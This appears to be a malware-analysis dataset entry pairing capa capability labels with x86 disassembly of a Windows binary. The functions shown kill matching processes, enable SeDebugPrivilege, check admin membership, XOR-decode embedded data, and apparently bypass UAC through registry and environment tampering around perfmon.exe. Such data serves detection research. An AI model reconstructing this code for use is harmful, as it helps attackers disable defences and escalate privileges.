joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a95
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1218
call fcn.00404eb0
push edi
mov dword [ebp - 0x1004], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1000]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x401aee
jmp 0x401be5
mov edx, dword [ebp - 0x100c]
shr edx, 2
mov dword [ebp - 4], edx
mov dword [ebp - 0x1008], 0
jmp 0x401b15
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 4]
jae 0x401be5
mov word [ebp - 0x1214], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x1212]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea edx, [ebp - 0x1214]
push edx
mov eax, dword [ebp - 0x1008]
mov ecx, dword [ebp + eax*4 - 0x1004]
push ecx
call fcn.00401186
add esp, 0xc
test eax, eax
je 0x401be0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
cmp eax, 3
jbe 0x401be0
lea eax, [ebp - 0x1214]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x401be0
mov edx, dword [ebp - 0x1008]
mov eax, dword [ebp + edx*4 - 0x1004]
push eax
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1218], eax
cmp dword [ebp - 0x1218], 0
je 0x401be0
push 0
mov ecx, dword [ebp - 0x1218]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov edx, dword [ebp - 0x1218]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x1218]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401b06
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40276a
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x121c
call fcn.00404eb0
push edi
mov dword [ebp - 0x1004], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1000]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x4027c3
jmp 0x402925
mov edx, dword [ebp - 0x100c]
shr edx, 2
mov dword [ebp - 4], edx
mov dword [ebp - 0x1008], 0
jmp 0x4027ea
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 4]
jae 0x402925
mov word [ebp - 0x1214], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x1212]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea edx, [ebp - 0x1214]
push edx
mov eax, dword [ebp - 0x1008]
mov ecx, dword [ebp + eax*4 - 0x1004]
push ecx
call fcn.004010aa
add esp, 0xc
test eax, eax
je 0x402920
lea edx, [ebp - 0x1214]
push edx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
cmp eax, 4
jae 0x402854
jmp 0x4027db
mov dword [ebp - 0x1218], 0
jmp 0x40286f
mov eax, dword [ebp - 0x1218]
add eax, 1
mov dword [ebp - 0x1218], eax
mov ecx, dword [ebp - 0x1218]
cmp ecx, dword [0x42b6b4]
jge 0x402920
mov edx, dword [ebp - 0x1218]
imul edx, edx, 0x208
add edx, 0x40a694
push edx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
cmp eax, 4
jbe 0x40291b
lea eax, [ebp - 0x1214]
push eax
mov ecx, dword [ebp - 0x1218]
imul ecx, ecx, 0x208
add ecx, 0x40a694
push ecx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x40291b
mov edx, dword [ebp - 0x1008]
mov eax, dword [ebp + edx*4 - 0x1004]
push eax
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x121c], eax
cmp dword [ebp - 0x121c], 0
je 0x40291b
push 0
mov ecx, dword [ebp - 0x121c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov edx, dword [ebp - 0x121c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x121c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402860
jmp 0x4027db
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402a43
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1218
call fcn.00404eb0
push edi
mov dword [ebp - 0x1004], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1000]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402a9c
jmp 0x402b7c
mov edx, dword [ebp - 0x100c]
shr edx, 2
mov dword [ebp - 4], edx
mov dword [ebp - 0x1008], 0
jmp 0x402ac3
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 4]
jae 0x402b7c
mov word [ebp - 0x1214], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x1212]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea edx, [ebp - 0x1214]
push edx
mov eax, dword [ebp - 0x1008]
mov ecx, dword [ebp + eax*4 - 0x1004]
push ecx
call fcn.004010aa
add esp, 0xc
test eax, eax
je 0x402b77
lea edx, [ebp - 0x1214]
push edx
call fcn.004010dc
add esp, 4
test eax, eax
je 0x402b77
mov eax, dword [ebp - 0x1008]
mov ecx, dword [ebp + eax*4 - 0x1004]
push ecx
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1218], eax
cmp dword [ebp - 0x1218], 0
je 0x402b77
push 0
mov edx, dword [ebp - 0x1218]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov eax, dword [ebp - 0x1218]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x1218]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402ab4
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x402b81
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00404eb0
push edi
mov dword [ebp - 0x1004], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1000]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x100c], 0
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402bd7
jmp 0x402c21
mov edx, dword [ebp - 0x100c]
shr edx, 2
mov dword [ebp - 4], edx
mov dword [ebp - 0x1008], 0
jmp 0x402bfe
mov eax, dword [ebp - 0x1008]
add eax, 1
mov dword [ebp - 0x1008], eax
mov ecx, dword [ebp - 0x1008]
cmp ecx, dword [ebp - 4]
jae 0x402c21
mov edx, dword [ebp - 0x1008]
mov eax, dword [ebp + edx*4 - 0x1004]
push eax
call fcn.00401163
add esp, 4
jmp 0x402bef
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402c26
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402c47
xor al, al
jmp 0x402cae
lea ecx, [ebp - 0x18]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402c6a
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x402cae
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x402cac
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x402cae
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x402cb2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d0b
cmp dword [ebp - 4], 0
je 0x402d0b
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x402d0f
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d4e
cmp dword [ebp - 4], 0
je 0x402d4e
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x402d52
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402db6
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 0x10], 1
sete al
mov esp, ebp
pop ebp
ret
Function at 0x402dc3
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
push edi
mov word [ebp - 0x410], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x40e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x208], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x206]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x618], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x616]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [ebp - 0x618]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x409994
lea ecx, [ebp - 0x618]
push ecx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x402f40
lea edx, [ebp - 0x410]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.7zPerformance
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
push str.System32
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push 0
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x4099d8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push 0
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x410]
push eax
push 0x4099ec
push 0x409a04
push 0x80000001
call fcn.00401118
add esp, 0x10
push 6
push 0
push 0
push str.perfmon.exe
push 0x409a48
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SYSTEMROOT
push str.Volatile_Environment
push 0x80000001
call fcn.0040102d
add esp, 0xc
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x411240
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x411272
jl 0x411265
test ecx, ecx
jne 0x411272
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x411332
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.004150e0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4112de
jg 0x41129d
test esi, esi
je 0x4112de
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x4112b5
mov eax, dword [esp + 0x10]
jl 0x4112af
cmp eax, esi
jae 0x4112b5
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.00444f50
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4112ff
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x41131b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x411284
jl 0x41131b
test ecx, ecx
jne 0x411284
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x411376
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x411376
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.00444f50
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x4113e7
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x41139c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x4113d2
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00451cad
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x4113e7
cmp edi, eax
ja 0x4113b0
test edi, edi
je 0x4113e7
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00451cad
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4151a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x468618
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x49f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [esi]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + esi - 4], eax
mov eax, dword [esi]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov edi, dword [eax + 4]
add edi, esi
mov ecx, edi
call fcn.004063f0
mov eax, dword [ebp + 8]
mov dword [edi + 0x38], eax
mov eax, dword [edi + 0x30]
mov dword [edi + 0x3c], 0
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 2
push eax
call fcn.00419b80
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x30]
mov ecx, eax
call edx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18]
movzx ebx, ax
test ecx, ecx
je 0x41525b
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x41525b
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov word [edi + 0x40], bx
jne 0x415275
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.004041c0
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x10], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + esi + 0xc], eax
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], vtable.std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + esi - 4], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4159d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4686d0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x49f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
lea eax, [ecx + 4]
mov dword [ebp - 0x14], ecx
lea ebx, [ecx + 0x24]
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
lea edi, [ecx + 0x28]
mov dword [ebp - 0x14], eax
push 8
mov dword [eax], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
call fcn.004435f5
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00440ee6
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [eax + 0x34], esi
call fcn.00415f60
mov eax, dword [ebp - 0x10]
lea edx, [eax + 8]
lea ecx, [eax + 0x14]
lea esi, [eax + 4]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [eax + 0xc], esi
mov esi, eax
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], edx
mov dword [eax + 0x1c], ecx
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov dword [ebx], 0
mov dword [eax + 0x4c], 0
mov ecx, dword [0x4a19d4]
mov edx, dword [0x4a19d8]
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], edx
mov dword [eax + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x416110
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4674d0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x49f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.004435f5
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00440ee6
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00415f60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4167a0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4674d0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x49f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.004435f5
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00440ee6
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00415f60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x436060
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46aee6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x49f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xorps xmm0, xmm0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], 1
movq qword [edi], xmm0
mov dword [edi + 8], 0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 1
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.00436640
test al, al
jne 0x436133
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x4361f6
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x43612c
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436216
push edx
push ecx
jmp 0x4361ee
cmp dword [ebp - 0x20], 0x5cb8
jb 0x4360fe
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax + 4]
push eax
call fcn.00452205
mov eax, dword [ebp - 0x18]
mov ebx, 0x14
mov esi, dword [ebp - 0x1c]
add esp, 4
sub eax, esi
cmp eax, ebx
jbe 0x43617d
nop dword [eax]
call fcn.004521e4
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sar ecx, 0xc
xor byte [eax + ebx], cl
inc ebx
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
sub eax, esi
cmp ebx, eax
jb 0x436160
mov cl, byte [esi + 0x13]
xor edx, edx
movzx ebx, cl
mov eax, 0x58b1
div ebx
mov dword [ebp - 0x20], ebx
mov ebx, 0x1e
mov dword [ebp - 0x28], eax
test cl, cl
je 0x4361c9
nop dword [eax + eax]
mov ecx, dword [edi + 4]
lea edx, [esi + ebx]
cmp ecx, dword [edi + 8]
je 0x4361b4
mov al, byte [edx]
mov byte [ecx], al
inc dword [edi + 4]
jmp 0x4361bd
push edx
push ecx
mov ecx, edi
call fcn.0041f0e0
add ebx, dword [ebp - 0x28]
sub dword [ebp - 0x20], 1
mov esi, dword [ebp - 0x1c]
jne 0x4361a0
test esi, esi
je 0x4361f6
mov ecx, dword [ebp - 0x14]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x4361ec
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436216
push ecx
push esi
call fcn.00443876
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004435e2
mov esp, ebp
pop ebp
ret 8
call fcn.004483fa
int3